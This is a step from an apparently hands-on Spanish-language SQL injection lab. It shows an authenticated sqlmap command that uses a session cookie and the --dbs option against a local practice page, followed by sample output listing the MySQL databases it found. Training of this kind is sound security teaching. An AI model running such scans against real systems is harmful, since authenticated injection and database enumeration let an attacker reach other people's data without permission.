Ejecutar un escaneo contra una página que requiere autenticación
En este paso, refinaremos nuestro comando sqlmap para apuntar específicamente a una página que se sabe que requiere autenticación y que podría ser vulnerable. Utilizaremos una salida ligeramente más detallada para observar el comportamiento de sqlmap.
Asumamos que authenticated_page.php es efectivamente vulnerable a inyección SQL a través del parámetro id. Utilizaremos la opción --dbs para intentar enumerar las bases de datos, lo cual es un primer paso común en la explotación de inyección SQL.
Nuevamente, reemplaza YOUR_COOKIE_STRING con tu cookie de sesión real.
sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1
La opción --dbs intenta enumerar los nombres de las bases de datos. Si sqlmap utiliza la cookie con éxito, debería poder acceder a la página y proceder con la enumeración de bases de datos.
Observa la salida. Si sqlmap informa que encontró bases de datos (por ejemplo, information_schema, mysql, testdb), confirma que el escaneo autenticado fue exitoso. Si informa "no se encontraron parámetros inyectables" o "página no accesible", podría indicar un problema con la cookie o la URL de destino.
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |___|
|_|___|
sqlmap/1.6.12#stable (identifying back-end DBMS)
... (initial checks) ...
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb
[00:00:XX] [INFO] closing @00:00:XX
La presencia de nombres de bases de datos en la salida confirma que sqlmap pudo acceder a la página autenticada y realizar la prueba de inyección.